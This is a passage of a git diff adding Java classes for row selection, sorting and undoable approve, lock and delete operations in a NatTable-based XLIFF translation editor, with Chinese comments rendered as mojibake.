selectedRows; // Key: rowId, Value: rowIndexes + private Set lastSelectedRowIds; + private final ReadWriteLock selectionsLock; + + public ReadWriteLock getSelectionsLock() { + return selectionsLock; + } + + public HorizontalRowSelectionModel(SelectionLayer selectionLayer, IRowIdAccessor rowIdAccessor) { + this.selectionLayer = selectionLayer; + this.rowIdAccessor = rowIdAccessor; + + selectedRows = new HashSet(); + selectionsLock = new ReentrantReadWriteLock(); + } + + public void clearSelection() { + selectionsLock.writeLock().lock(); + try { + selectedRows.clear(); + } finally { + selectionsLock.writeLock().unlock(); + } + } + + public boolean isColumnPositionSelected(int columnPosition) { + return !isEmpty(); + } + + public int[] getSelectedColumns() { + if (!isEmpty()) { + selectionsLock.readLock().lock(); + + try { + int columnCount = selectionLayer.getColumnCount(); + int[] columns = new int[columnCount]; + for (int i = 0; i < columnCount; i++) { + columns[i] = i; + } + return columns; + } finally { + selectionsLock.readLock().unlock(); + } + } + return new int[] {}; + } + + public void addSelection(int columnPosition, int rowPosition) { + selectionsLock.writeLock().lock(); + + try { + Serializable rowId = getRowIdByPosition(rowPosition); + if (rowId != null) { + selectedRows.add(rowId); + } + } finally { + selectionsLock.writeLock().unlock(); + } + } + + @SuppressWarnings("unchecked") + public void addSelection(Rectangle range) { + selectionsLock.writeLock().lock(); + + try { + if (range == lastSelectedRange) { + // Unselect all previously selected rowIds + if (lastSelectedRowIds != null) { + for (Serializable rowId : lastSelectedRowIds) { + selectedRows.remove(rowId); + } + } + } + + int rowPosition = range.y; + int length = range.height; + Set rowsToSelect = (Set) rowIdAccessor.getRowIdsByPositionRange(rowPosition, + length); + + selectedRows.addAll(rowsToSelect); + + if (range == lastSelectedRange) { + lastSelectedRowIds = rowsToSelect; + } else { + lastSelectedRowIds = null; + } + + lastSelectedRange = range; + } finally { + selectionsLock.writeLock().unlock(); + } + } + + public int[] getFullySelectedColumns(int fullySelectedColumnRowCount) { + selectionsLock.readLock().lock(); + + try { + if (isColumnFullySelected(0, fullySelectedColumnRowCount)) { + return getSelectedColumns(); + } + } finally { + selectionsLock.readLock().unlock(); + } + + return new int[] {}; + } + + /** + * 得到被整行选中的所有行 + * @see net.sourceforge.nattable.selection.ISelectionModel#getFullySelectedRows(int) + */ + public int[] getFullySelectedRows(int rowWidth) { + selectionsLock.readLock().lock(); + + try { + int[] selectedRowPositions = new int[selectedRows.size()]; + int i = 0; + for (Serializable selectedRow : selectedRows) { + int rowPosition = rowIdAccessor.getRowIds().indexOf(selectedRow); + if (rowPosition > -1) { + selectedRowPositions[i++] = rowPosition; + } + } + return selectedRowPositions; + } finally { + selectionsLock.readLock().unlock(); + } + } + + /** + * 得到选中行的个数 + * @see net.sourceforge.nattable.selection.ISelectionModel#getSelectedRowCount() + */ + public int getSelectedRowCount() { + selectionsLock.readLock().lock(); + + try { + return selectedRows.size(); + } finally { + selectionsLock.readLock().unlock(); + } + } + + /** + * 得到所有选中行 + * @see net.sourceforge.nattable.selection.ISelectionModel#getSelectedRows() + */ + public Set getSelectedRows() { + Set selectedRowRanges = new HashSet(); + + selectionsLock.readLock().lock(); + + try { + for (Serializable selectedRow : selectedRows) { + int rowPosition = rowIdAccessor.getRowIds().indexOf(selectedRow); + if (rowPosition > -1) { + selectedRowRanges.add(new Range(rowPosition, rowPosition + 1)); + } + } + } finally { + selectionsLock.readLock().unlock(); + } + + return selectedRowRanges; + } + + public List getSelections() { + List selectionRectangles = new ArrayList(); + + selectionsLock.readLock().lock(); + + try { + int width = selectionLayer.getColumnCount(); + + for (Serializable selectedRow : selectedRows) { + int rowPosition = rowIdAccessor.getRowIds().indexOf(selectedRow); + if (rowPosition > -1) { + selectionRectangles.add(new Rectangle(0, rowPosition, width, 1)); + } + } + } finally { + selectionsLock.readLock().unlock(); + } + + return selectionRectangles; + } + + public boolean isCellPositionSelected(int columnPosition, int rowPosition) { + return isRowPositionSelected(rowPosition); + } + + public boolean isColumnFullySelected(int columnPosition, int fullySelectedColumnRowCount) { + selectionsLock.readLock().lock(); + + try { + return selectedRows.size() == fullySelectedColumnRowCount; + } finally { + selectionsLock.readLock().unlock(); + } + } + + public boolean isEmpty() { + selectionsLock.readLock().lock(); + + try { + return selectedRows.isEmpty(); + } finally { + selectionsLock.readLock().unlock(); + } + } + + public boolean isRowFullySelected(int rowPosition, int rowWidth) { + return isRowPositionSelected(rowPosition); + } + + public boolean isRowPositionSelected(int rowPosition) { + selectionsLock.readLock().lock(); + + try { + Serializable rowId = getRowIdByPosition(rowPosition); + return selectedRows.contains(rowId); + } finally { + selectionsLock.readLock().unlock(); + } + } + + public void removeSelection(Rectangle removedSelection) { + selectionsLock.writeLock().lock(); + + try { + for (int rowPosition = removedSelection.y; rowPosition < removedSelection.y + removedSelection.height; rowPosition++) { + removeSelection(0, rowPosition); + } + } finally { + selectionsLock.writeLock().unlock(); + } + } + + public void removeSelection(int columnPosition, int rowPosition) { + selectionsLock.writeLock().lock(); + + try { + Serializable rowId = getRowIdByPosition(rowPosition); + selectedRows.remove(rowId); + } finally { + selectionsLock.writeLock().unlock(); + } + } + + /** + * 通过行的ä½ç½®å¾—到行对应的翻译å•å…ƒçš„Id + * @param rowPosition + * 行的相对ä½ç½®ï¼Œä»Ž0开始 + * @return 行对应的翻译å•å…ƒçš„Id; + */ + private Serializable getRowIdByPosition(int rowPosition) { + return rowIdAccessor.getRowIdByPosition(rowPosition); + } + +} \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/selection/IRowIdAccessor.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/selection/IRowIdAccessor.java new file mode 100644 index 0000000..1b81128 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/selection/IRowIdAccessor.java @@ -0,0 +1,38 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.selection; + +import java.io.Serializable; +import java.util.ArrayList; +import java.util.Set; + +/** + * rowIdå­˜å–器 + * @author weachy + * @version + * @since JDK1.5 + */ +public interface IRowIdAccessor { + + /** + * 获å–指定行的RowId + * @param rowPosition + * 行的ä½ç½® + * @return RowId; + */ + Serializable getRowIdByPosition(int rowPosition); + + /** + * 获å–指定范围的多行的RowIdé›†åˆ + * @param rowPosition + * 起始行的ä½ç½® + * @param length + * 行个数 + * @return RowId集åˆ; + */ + Set getRowIdsByPositionRange(int rowPosition, int length); + + /** + * 得到当å‰æ‰€æœ‰æ˜¾ç¤ºè¡Œçš„RowIdé›†åˆ + * @return 当å‰æ‰€æœ‰æ˜¾ç¤ºè¡Œçš„RowId集åˆ; + */ + ArrayList getRowIds(); +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/selection/RowSelectionProvider.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/selection/RowSelectionProvider.java new file mode 100644 index 0000000..a181347 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/selection/RowSelectionProvider.java @@ -0,0 +1,97 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.selection; + +import java.util.Arrays; +import java.util.HashSet; +import java.util.List; +import java.util.Set; + +import net.heartsome.cat.ts.ui.xliffeditor.nattable.search.coordinate.ActiveCellRegion; +import net.sourceforge.nattable.layer.ILayerListener; +import net.sourceforge.nattable.layer.event.ILayerEvent; +import net.sourceforge.nattable.selection.SelectionLayer; +import net.sourceforge.nattable.selection.command.SelectRowsCommand; +import net.sourceforge.nattable.selection.event.ISelectionEvent; +import net.sourceforge.nattable.util.ObjectUtils; + +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.ISelectionChangedListener; +import org.eclipse.jface.viewers.ISelectionProvider; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.SelectionChangedEvent; +import org.eclipse.jface.viewers.StructuredSelection; + +public class RowSelectionProvider implements ISelectionProvider, ILayerListener { + + private SelectionLayer selectionLayer; + private final boolean fullySelectedRowsOnly; + private Set listeners = new HashSet(); + + public RowSelectionProvider(SelectionLayer selectionLayer) { + this(selectionLayer, true); + } + + public RowSelectionProvider(SelectionLayer selectionLayer, boolean fullySelectedRowsOnly) { + this.selectionLayer = selectionLayer; + this.fullySelectedRowsOnly = fullySelectedRowsOnly; + + selectionLayer.addLayerListener(this); + } + + public void addSelectionChangedListener(ISelectionChangedListener listener) { + listeners.add(listener); + } + + public ISelection getSelection() { + int[] rowPositions = selectionLayer.getFullySelectedRowPositions(); + if (rowPositions.length > 0) { + Arrays.sort(rowPositions); + int rowPosition = rowPositions[rowPositions.length - 1]; + int rowIndex = selectionLayer.getRowIndexByPosition(rowPosition); + return new StructuredSelection(rowIndex); + } + + return new StructuredSelection(); + } + + public void removeSelectionChangedListener(ISelectionChangedListener listener) { + listeners.remove(listener); + } + + @SuppressWarnings("unchecked") + public void setSelection(ISelection selection) { + if (selectionLayer != null && selection instanceof IStructuredSelection) { + selectionLayer.clear(); + List rowIndexs = ((IStructuredSelection) selection).toList(); + Set rowPositions = new HashSet(); + for (Integer rowIndex : rowIndexs) { + int rowPosition = selectionLayer.getRowPositionByIndex(rowIndex); + rowPositions.add(Integer.valueOf(rowPosition)); + } + selectionLayer.doCommand(new SelectRowsCommand(selectionLayer, 0, ObjectUtils.asIntArray(rowPositions), + false, true)); + } + } + private int currentRowPosition = -1; + public void handleLayerEvent(ILayerEvent event) { + if (event instanceof ISelectionEvent) { + int[] rowPositions = selectionLayer.getFullySelectedRowPositions(); + if (fullySelectedRowsOnly && rowPositions.length == 0) { + ActiveCellRegion.setActiveCellRegion(null); + return; + } + + Arrays.sort(rowPositions); + int rowPosition = rowPositions[rowPositions.length - 1]; + if(rowPosition == currentRowPosition){ + return; + } + currentRowPosition = rowPosition; + int rowIndex = selectionLayer.getRowIndexByPosition(rowPosition); + ISelection selection = new StructuredSelection(rowIndex); + for (ISelectionChangedListener listener : listeners) { + listener.selectionChanged(new SelectionChangedEvent(this, selection)); + } + } + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/selection/VerticalRowSelectionModel.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/selection/VerticalRowSelectionModel.java new file mode 100644 index 0000000..110973f --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/selection/VerticalRowSelectionModel.java @@ -0,0 +1,294 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.selection; + +import java.io.Serializable; +import java.util.ArrayList; +import java.util.HashSet; +import java.util.List; +import java.util.Set; +import java.util.concurrent.locks.ReadWriteLock; +import java.util.concurrent.locks.ReentrantReadWriteLock; + +import net.heartsome.cat.ts.ui.xliffeditor.nattable.config.VerticalNatTableConfig; +import net.sourceforge.nattable.coordinate.Range; +import net.sourceforge.nattable.selection.ISelectionModel; +import net.sourceforge.nattable.selection.SelectionLayer; + +import org.eclipse.swt.graphics.Rectangle; + +/** + * 垂直布局下使用的选中行模型 + * @author weachy + * @version + * @since JDK1.5 + * @param + */ +public class VerticalRowSelectionModel implements ISelectionModel { + + private final SelectionLayer selectionLayer; + private final IRowIdAccessor rowIdAccessor; + + private Rectangle lastSelectedRange; // *live* reference to last range parameter used in addSelection(range) + private Set selectedRows; // Key: rowId, Value: rowIndexes + private Set lastSelectedRowIds; + private final ReadWriteLock selectionsLock; + + public ReadWriteLock getSelectionsLock() { + return selectionsLock; + } + + public VerticalRowSelectionModel(SelectionLayer selectionLayer, IRowIdAccessor rowIdAccessor) { + this.selectionLayer = selectionLayer; + this.rowIdAccessor = rowIdAccessor; + + selectedRows = new HashSet(); + selectionsLock = new ReentrantReadWriteLock(); + } + + public void clearSelection() { + selectionsLock.writeLock().lock(); + try { + selectedRows.clear(); + } finally { + selectionsLock.writeLock().unlock(); + } + } + + public boolean isColumnPositionSelected(int columnPosition) { + return !isEmpty(); + } + + public int[] getSelectedColumns() { + if (!isEmpty()) { + selectionsLock.readLock().lock(); + + try { + int columnCount = selectionLayer.getColumnCount(); + int[] columns = new int[columnCount]; + for (int i = 0; i < columnCount; i++) { + columns[i] = i; + } + return columns; + } finally { + selectionsLock.readLock().unlock(); + } + } + return new int[] {}; + } + + public void addSelection(int columnPosition, int rowPosition) { + selectionsLock.writeLock().lock(); + + try { + Serializable rowId = getRowIdByPosition(rowPosition); + if (rowId != null) { + selectedRows.add(rowId); + } + } finally { + selectionsLock.writeLock().unlock(); + } + } + + @SuppressWarnings("unchecked") + public void addSelection(Rectangle range) { + selectionsLock.writeLock().lock(); + + try { + if (range == lastSelectedRange) { + // Unselect all previously selected rowIds + if (lastSelectedRowIds != null) { + for (Serializable rowId : lastSelectedRowIds) { + selectedRows.remove(rowId); + } + } + } + + int rowPosition = range.y / VerticalNatTableConfig.ROW_SPAN; + int end = (int) Math.ceil((range.y + range.height) * 1.0 / VerticalNatTableConfig.ROW_SPAN); + int length = end - range.y / VerticalNatTableConfig.ROW_SPAN; + Set rowsToSelect = (Set) rowIdAccessor.getRowIdsByPositionRange(rowPosition, + length); + + selectedRows.addAll(rowsToSelect); + + if (range == lastSelectedRange) { + lastSelectedRowIds = rowsToSelect; + } else { + lastSelectedRowIds = null; + } + + lastSelectedRange = range; + } finally { + selectionsLock.writeLock().unlock(); + } + } + + public int[] getFullySelectedColumns(int fullySelectedColumnRowCount) { + selectionsLock.readLock().lock(); + + try { + if (isColumnFullySelected(0, fullySelectedColumnRowCount)) { + return getSelectedColumns(); + } + } finally { + selectionsLock.readLock().unlock(); + } + + return new int[] {}; + } + + /** + * 得到被整行选中的所有行 + * @see net.sourceforge.nattable.selection.ISelectionModel#getFullySelectedRows(int) + */ + public int[] getFullySelectedRows(int rowWidth) { + selectionsLock.readLock().lock(); + + try { + int[] selectedRowPositions = new int[selectedRows.size()]; + int i = 0; + for (Serializable selectedRow : selectedRows) { + int rowPosition = rowIdAccessor.getRowIds().indexOf(selectedRow); + if (rowPosition > -1) { + selectedRowPositions[i++] = rowPosition; + } + } + return selectedRowPositions; + } finally { + selectionsLock.readLock().unlock(); + } + } + + /** + * 得到选中行的个数 + * @see net.sourceforge.nattable.selection.ISelectionModel#getSelectedRowCount() + */ + public int getSelectedRowCount() { + selectionsLock.readLock().lock(); + + try { + return selectedRows.size() * VerticalNatTableConfig.ROW_SPAN; + } finally { + selectionsLock.readLock().unlock(); + } + } + + /** + * 得到所有选中行 + * @see net.sourceforge.nattable.selection.ISelectionModel#getSelectedRows() + */ + public Set getSelectedRows() { + Set selectedRowRanges = new HashSet(); + + selectionsLock.readLock().lock(); + + try { + for (Serializable selectedRow : selectedRows) { + int rowPosition = rowIdAccessor.getRowIds().indexOf(selectedRow) * VerticalNatTableConfig.ROW_SPAN; + if (rowPosition > -1) { + for (int j = rowPosition; j < VerticalNatTableConfig.ROW_SPAN; j++) { + selectedRowRanges.add(new Range(rowPosition, rowPosition + 1)); + } + } + } + } finally { + selectionsLock.readLock().unlock(); + } + + return selectedRowRanges; + } + + public List getSelections() { + List selectionRectangles = new ArrayList(); + + selectionsLock.readLock().lock(); + + try { + int width = selectionLayer.getColumnCount(); + for (Serializable selectedRow : selectedRows) { + int rowPosition = rowIdAccessor.getRowIds().indexOf(selectedRow) * VerticalNatTableConfig.ROW_SPAN; + if (rowPosition > -1) { + for (int j = rowPosition; j < VerticalNatTableConfig.ROW_SPAN; j++) { + selectionRectangles.add(new Rectangle(0, rowPosition, width, 1)); + } + } + } + } finally { + selectionsLock.readLock().unlock(); + } + + return selectionRectangles; + } + + public boolean isCellPositionSelected(int columnPosition, int rowPosition) { + return isRowPositionSelected(rowPosition); + } + + public boolean isColumnFullySelected(int columnPosition, int fullySelectedColumnRowCount) { + selectionsLock.readLock().lock(); + + try { + return selectedRows.size() == fullySelectedColumnRowCount; + } finally { + selectionsLock.readLock().unlock(); + } + } + + public boolean isEmpty() { + selectionsLock.readLock().lock(); + + try { + return selectedRows.isEmpty(); + } finally { + selectionsLock.readLock().unlock(); + } + } + + public boolean isRowFullySelected(int rowPosition, int rowWidth) { + return isRowPositionSelected(rowPosition); + } + + public boolean isRowPositionSelected(int rowPosition) { + selectionsLock.readLock().lock(); + + try { + Serializable rowId = getRowIdByPosition(rowPosition); + return selectedRows.contains(rowId); + } finally { + selectionsLock.readLock().unlock(); + } + } + + public void removeSelection(Rectangle removedSelection) { + selectionsLock.writeLock().lock(); + + try { + for (int rowPosition = removedSelection.y; rowPosition < removedSelection.y + removedSelection.height; rowPosition++) { + removeSelection(0, rowPosition); + } + } finally { + selectionsLock.writeLock().unlock(); + } + } + + public void removeSelection(int columnPosition, int rowPosition) { + selectionsLock.writeLock().lock(); + + try { + Serializable rowId = getRowIdByPosition(rowPosition); + selectedRows.remove(rowId); + } finally { + selectionsLock.writeLock().unlock(); + } + } + + /** + * 通过行的ä½ç½®å¾—到行对应的翻译å•å…ƒçš„Id + * @param rowPosition + * 行的相对ä½ç½®ï¼Œä»Ž0开始 + * @return 行对应的翻译å•å…ƒçš„Id; + */ + private Serializable getRowIdByPosition(int rowPosition) { + return rowIdAccessor.getRowIdByPosition(rowPosition / VerticalNatTableConfig.ROW_SPAN); + } + +} \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/sort/NatTableSortModel.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/sort/NatTableSortModel.java new file mode 100644 index 0000000..c5fae6a --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/sort/NatTableSortModel.java @@ -0,0 +1,104 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.sort; + +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.config.VerticalNatTableConfig; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiActiveCellEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiCellEditorControl; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.sourceforge.nattable.sort.ISortModel; +import net.sourceforge.nattable.sort.SortDirectionEnum; + +/** + * 控制排åºçš„模型 + * @author weachy + * @version + * @since JDK1.5 + */ +public class NatTableSortModel implements ISortModel { + + private List sortedColumnIndexes; + private List sortOrders; + private List sortDirections; + + private XLFHandler handler; + + public NatTableSortModel(XLFHandler handler) { + sortedColumnIndexes = new ArrayList(); + sortOrders = new ArrayList(); + sortDirections = new ArrayList(); + this.handler = handler; + } + + public SortDirectionEnum getSortDirection(int columnIndex) { + if (sortedColumnIndexes.contains(columnIndex)) { + return sortDirections.get(sortOrders.indexOf(columnIndex)); + } + return SortDirectionEnum.NONE; + } + + public int getSortOrder(int columnIndex) { + if (sortedColumnIndexes.contains(columnIndex)) { + return sortOrders.indexOf(columnIndex); + } + return -1; + } + + public boolean isColumnIndexSorted(int columnIndex) { + return sortedColumnIndexes.contains(columnIndex); + } + + public void sort(int columnIndex, SortDirectionEnum direction, boolean accumulate) { + String columnName = null; + XLIFFEditorImplWithNatTable xliffEditor = XLIFFEditorImplWithNatTable.getCurrent(); + if (xliffEditor == null) { + return; + } + if (xliffEditor.isHorizontalLayout()) { + if (columnIndex == xliffEditor.getSrcColumnIndex()) { + columnName = "source"; + } else if (columnIndex == xliffEditor.getTgtColumnIndex()) { + columnName = "target"; + } + } else { + if (columnIndex == VerticalNatTableConfig.SOURCE_COL_INDEX) { + columnName = "source"; + } + } + + if (columnName == null) { + return; + } + HsMultiActiveCellEditor.commit(true); + clear(); + sortedColumnIndexes.add(columnIndex); + sortOrders.add(columnIndex); + sortDirections.add(direction); + + switch (direction) { + case NONE: + handler.resetRowIdsToUnsorted(); + break; + case ASC: + handler.sort(columnName, true); + break; + case DESC: + handler.sort(columnName, false); + break; + default: + break; + } + xliffEditor.autoResize(); +// Bug #2317:选中文本段åŽæŽ’åºï¼Œä¸ä¼šåˆ·æ–°çŠ¶æ€æ ä¸­çš„åºå· + xliffEditor.updateStatusLine(); + HsMultiCellEditorControl.activeSourceAndTargetCell(xliffEditor); + } + + public void clear() { + sortedColumnIndexes.clear(); + sortOrders.clear(); + sortDirections.clear(); + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/undoable/ApproveOperation.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/undoable/ApproveOperation.java new file mode 100644 index 0000000..ceca03a --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/undoable/ApproveOperation.java @@ -0,0 +1,99 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.undoable; + +import java.util.List; + +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.sourceforge.nattable.NatTable; + +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.commands.operations.AbstractOperation; +import org.eclipse.core.commands.operations.IUndoContext; +import org.eclipse.core.runtime.IAdaptable; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Status; +import org.eclipse.jface.dialogs.MessageDialog; + +/** + * 此类未使用,因此未åšå›½é™…化 + * @author peason + * @version + * @since JDK1.6 + */ +public class ApproveOperation extends AbstractOperation { + + private List rowIdList; + + private NatTable table; + + private XLFHandler handler; + + private boolean approve; + + /** + * “批准â€æ“作 + * @param label + * æ“作å,标识 + * @param natTable + * NatTable对象 + * @param rowIdList + * RowIdé›†åˆ + * @param handler + * XLFHandler对象 + * @param approve + * true:批准,false:å–消批准 + */ + public ApproveOperation(String label, NatTable natTable, List rowIdList, XLFHandler handler, boolean approve) { + super(label); + IUndoContext context = (IUndoContext) natTable.getData(IUndoContext.class.getName()); + addContext(context); + this.table = natTable; + this.rowIdList = rowIdList; + this.handler = handler; + this.approve = approve; + } + + @Override + public IStatus execute(IProgressMonitor monitor, IAdaptable info) throws ExecutionException { + changeTransUnitBeanProperties(this.approve); + return Status.OK_STATUS; + } + + @Override + public IStatus redo(IProgressMonitor monitor, IAdaptable info) throws ExecutionException { + return execute(monitor, info); + } + + @Override + public IStatus undo(IProgressMonitor monitor, IAdaptable info) throws ExecutionException { + changeTransUnitBeanProperties(!this.approve); + return Status.OK_STATUS; + } + + /** + * 设置TU对象的属性以åŠTarget的属性 + * @param approve + * true:批准,false:å–消批准; + */ + private void changeTransUnitBeanProperties(boolean approve) { + List rowIds; + if (rowIdList == null) { + rowIds = handler.approveAllTransUnits(approve); + } else { + rowIds = handler.approveTransUnits(rowIdList, approve); + } + if (rowIds.size() > 0) { + String message; + if (rowIdList != null && rowIdList.size() == 1) { + message = "当å‰ç¿»è¯‘的长度ä¸åœ¨å…许范围内。是å¦ä»è¦æ‰¹å‡†ï¼Ÿ"; + } else { + message = "有 " + rowIds.size() + " 个翻译的长度ä¸åœ¨å…许范围内。是å¦ä»è¦æ‰¹å‡†ï¼Ÿ"; + } + boolean res = MessageDialog.openQuestion(table.getShell(), null, message); + if (res) { + handler.approveTransUnits(rowIds, approve, false); + } + } + table.redraw(); + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/undoable/DeleteAltTransOperation.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/undoable/DeleteAltTransOperation.java new file mode 100644 index 0000000..74588a7 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/undoable/DeleteAltTransOperation.java @@ -0,0 +1,82 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.undoable; + +import java.util.ArrayList; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; + +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.commands.operations.AbstractOperation; +import org.eclipse.core.commands.operations.IUndoContext; +import org.eclipse.core.runtime.IAdaptable; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Status; +import org.eclipse.jface.viewers.StructuredSelection; + +public class DeleteAltTransOperation extends AbstractOperation { + + private final XLIFFEditorImplWithNatTable xliffEditor; + + private final XLFHandler handler; + + private final List rowIds; + + private final Map segmentCache; + + /** + * “批准â€æ“作 + * @param natTable + * NatTable对象 + * @param rowIdList + * RowIdé›†åˆ + * @param handler + * XLFHandler对象 + * @param approve + * true:批准,false:å–消批准 + */ + public DeleteAltTransOperation(XLIFFEditorImplWithNatTable xliffEditor, XLFHandler handler, List rowIds) { + super("Delete alt-trans"); + IUndoContext context = (IUndoContext) xliffEditor.getTable().getData(IUndoContext.class.getName()); + addContext(context); + this.xliffEditor = xliffEditor; + this.handler = handler; + this.rowIds = rowIds; + segmentCache = handler.getTuNodes(rowIds); + } + + @Override + public IStatus execute(IProgressMonitor monitor, IAdaptable info) throws ExecutionException { + handler.deleteAltTrans(rowIds); + refreshViews(); + return Status.OK_STATUS; + } + + @Override + public IStatus redo(IProgressMonitor monitor, IAdaptable info) throws ExecutionException { + return execute(monitor, info); + } + + @Override + public IStatus undo(IProgressMonitor monitor, IAdaptable info) throws ExecutionException { + handler.resetTuNodes(segmentCache); + refreshViews(); + return Status.OK_STATUS; + } + + /** + * 刷新其他视图。 ; + */ + private void refreshViews() { + ArrayList rowList = new ArrayList(); + int[] rows = xliffEditor.getSelectedRows(); + for (int i : rows) { + rowList.add(i); + } + StructuredSelection selection = new StructuredSelection(rowList); + xliffEditor.getSite().getSelectionProvider().setSelection(selection); + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/undoable/LockOperation.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/undoable/LockOperation.java new file mode 100644 index 0000000..1bae14b --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/undoable/LockOperation.java @@ -0,0 +1,78 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.undoable; + +import java.util.List; + +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.sourceforge.nattable.NatTable; + +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.commands.operations.AbstractOperation; +import org.eclipse.core.commands.operations.IUndoContext; +import org.eclipse.core.runtime.IAdaptable; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Status; + +public class LockOperation extends AbstractOperation { + + private List rowIdList; + + private NatTable table; + + private XLFHandler handler; + + private boolean lock; + + /** + * + * @param label + * @param natTable + * @param rowIdList + * @param handler + * @param lock + */ + public LockOperation(String label, NatTable natTable, List rowIdList, XLFHandler handler, + boolean lock) { + super(label); + IUndoContext context = (IUndoContext) natTable.getData(IUndoContext.class.getName()); + addContext(context); + this.table = natTable; + this.rowIdList = rowIdList; + this.handler = handler; + this.lock = lock; + } + + @Override + public IStatus execute(IProgressMonitor monitor, IAdaptable info) throws ExecutionException { + changeTransUnitBeanProperties(this.lock); + return Status.OK_STATUS; + } + + @Override + public IStatus redo(IProgressMonitor monitor, IAdaptable info) throws ExecutionException { + return execute(monitor, info); + } + + @Override + public IStatus undo(IProgressMonitor monitor, IAdaptable info) throws ExecutionException { + changeTransUnitBeanProperties(!this.lock); + return Status.OK_STATUS; + } + + /** + * 设置TU对象的属性以åŠTarget的属性 + * @param tu + * @param tuProps + * @param tgtProps + * ; + */ + private void changeTransUnitBeanProperties(boolean lock) { + if (rowIdList == null) { + handler.lockAllTransUnits(lock); + } else { + handler.lockTransUnits(rowIdList, lock); + } + table.redraw(); + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/undoable/MergeSegmentOperation.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/undoable/MergeSegmentOperation.java new file mode 100644 index 0000000..dbd83bd --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/undoable/MergeSegmentOperation.java @@ -0,0 +1,88 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.undoable; + +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiActiveCellEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiCellEditorControl; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import 